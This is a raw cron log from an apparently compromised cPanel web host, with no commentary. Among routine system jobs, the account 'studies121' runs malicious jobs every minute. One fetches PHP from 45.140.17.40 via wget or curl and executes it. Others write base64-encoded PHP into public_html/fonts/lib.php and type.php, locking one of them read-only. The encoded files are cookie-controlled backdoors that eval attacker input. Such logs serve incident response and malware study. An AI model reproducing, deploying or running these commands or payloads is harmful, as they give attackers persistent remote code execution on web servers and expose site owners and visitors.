Sep  2 20:42:01 ip-184-168-122-23 CROND[9781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:42:01 ip-184-168-122-23 CROND[9782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:43:01 ip-184-168-122-23 CROND[9875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:43:01 ip-184-168-122-23 CROND[9876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:43:01 ip-184-168-122-23 CROND[9877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:43:01 ip-184-168-122-23 CROND[9878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:44:01 ip-184-168-122-23 CROND[9955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:44:01 ip-184-168-122-23 CROND[9958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:44:01 ip-184-168-122-23 CROND[9957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:44:01 ip-184-168-122-23 CROND[9960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:44:01 ip-184-168-122-23 CROND[9959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:45:01 ip-184-168-122-23 CROND[10045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:45:01 ip-184-168-122-23 CROND[10046]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  2 20:45:01 ip-184-168-122-23 CROND[10049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:45:01 ip-184-168-122-23 CROND[10053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:45:01 ip-184-168-122-23 CROND[10051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:45:01 ip-184-168-122-23 CROND[10050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:45:01 ip-184-168-122-23 CROND[10054]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:46:01 ip-184-168-122-23 CROND[10244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:46:01 ip-184-168-122-23 CROND[10248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:46:01 ip-184-168-122-23 CROND[10250]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 20:46:01 ip-184-168-122-23 CROND[10252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:46:02 ip-184-168-122-23 CROND[10255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:46:02 ip-184-168-122-23 CROND[10253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:46:02 ip-184-168-122-23 CROND[10257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:47:01 ip-184-168-122-23 CROND[10354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:47:01 ip-184-168-122-23 CROND[10356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:47:01 ip-184-168-122-23 CROND[10358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:47:01 ip-184-168-122-23 CROND[10359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:48:01 ip-184-168-122-23 CROND[10439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:48:01 ip-184-168-122-23 CROND[10442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:48:01 ip-184-168-122-23 CROND[10443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:48:01 ip-184-168-122-23 CROND[10444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:48:01 ip-184-168-122-23 CROND[10441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:49:01 ip-184-168-122-23 CROND[10525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:49:01 ip-184-168-122-23 CROND[10526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:49:01 ip-184-168-122-23 CROND[10529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:49:01 ip-184-168-122-23 CROND[10531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10619]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:50:01 ip-184-168-122-23 CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:50:01 ip-184-168-122-23 CROND[10630]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:50:01 ip-184-168-122-23 CROND[10631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:51:01 ip-184-168-122-23 CROND[10722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:51:01 ip-184-168-122-23 CROND[10724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:51:01 ip-184-168-122-23 CROND[10725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:51:01 ip-184-168-122-23 CROND[10726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:52:01 ip-184-168-122-23 CROND[10799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:52:01 ip-184-168-122-23 CROND[10803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:52:01 ip-184-168-122-23 CROND[10804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:52:01 ip-184-168-122-23 CROND[10808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:52:01 ip-184-168-122-23 CROND[10806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:53:01 ip-184-168-122-23 CROND[10889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:53:01 ip-184-168-122-23 CROND[10892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:53:01 ip-184-168-122-23 CROND[10891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:53:01 ip-184-168-122-23 CROND[10893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:54:01 ip-184-168-122-23 CROND[10974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:54:01 ip-184-168-122-23 CROND[10978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:54:01 ip-184-168-122-23 CROND[10976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
